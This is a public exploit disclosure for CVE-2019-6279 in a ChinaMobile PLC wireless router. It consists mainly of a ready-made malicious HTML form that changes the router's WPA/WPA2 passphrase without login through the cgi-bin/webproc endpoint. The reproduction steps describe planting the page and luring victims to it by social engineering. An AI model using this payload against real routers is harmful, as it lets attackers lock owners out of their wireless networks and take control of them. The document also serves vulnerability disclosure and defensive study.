PLC Wireless Router GPN2.4P21-C-CN -Incorrect Access Control

Exploit Title: PLC Wireless Router GPN2.4P21-C-CN -Incorrect Access Control
Date: 15/01/2019
Exploit Author: Kumar Saurav
Vendor: ChinaMobile
Category: Hardware
Version: GPN2.4P21-C-CN (Firmware: W2001EN-00)
Tested on: Windows
CVE ID: CVE-2019-6279

Description: ChinaMobile PLC Wireless Router GPN2.4P21-C-CN devices with firmware W2001EN-00 have an Incorrect Access Control vulnerability via the cgi-bin/webproc?getpage=html/index.html subpage=wlsecurity URI, allowing an Attacker to change the Wireless Security Password.

Reproduction Steps:
Step 1: Building a malicious html web page
Step 2: Attacker’s wants to change the wireless security (WPA/WPA2) key to “PSWDmatlo331#@!” (in my case)

Step 3: (192.168.59.254 in my Case) 
<html>
<body>
<form method=”POST” action=”http://192.168.59.254:80/cgi-bin/webproc “>
<input type=”text” name=”sessionid” value=”2a39a09e”>
<input type=”text” name=”language” value=”en_us”>
<input type=”text” name=”sys_UserName” value=”admin”>
<input type=”text” name=”var:menu” value=”setup”>
<input type=”text” name=”var:page” value=”wireless”>
<input type=”text” name=”var:subpage” value=”wlsecurity”>
<input type=”text” name=”var:errorpage” value=”wlsecurity”>
<input type=”text” name=”getpage” value=”html/index.html”>
<input type=”text” name=”errorpage” value=”html/index.html”>
<input type=”text” name=”var:arrayid” value=”0″>
<input type=”text” name=”obj-action” value=”set”>
<input type=”text” name=”:InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.BeaconType ” value=”11i”>
<input type=”text” name=”:InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.IEEE11iEncryptionModes” value=”AESEncryption”>
<input type=”text” name=”:InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.IEEE11iAuthenticationMode” value=”PSKAuthentication”>
<input type=”text” name=”:InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_TWSZ-COM_WPAGroupRekey” value=”100″>
<input type=”text” name=”:InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.PreSharedKey.1.KeyPassphrase” value=”PSWDmatlo331#@!”>
<input type=”text” name=”:InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_TWSZ-COM_PSKExpression” value=”KeyPassphrase”>
<input type=”submit” value=”Send”>
</form>
</body>
</html>

Step 4: save this as Incorrect_Access_Control.html
Step 5: Planting this malicious web page (Incorrect_Access_Control.html) that are likely to be visited by the victim’s (by social engineering) or any user connected in the Access Point (AP) will have to visit this page or any attacker’s connected in the AP will trigger this exploit.
Step 6: After execution of above exploit, wireless security (WPA/WPA2) key will change!!

Note: This vulnerability allowing an attacker to reproduce without login.

Reference:  https://www.youtube.com/watch?v=-cw04rOYREQ

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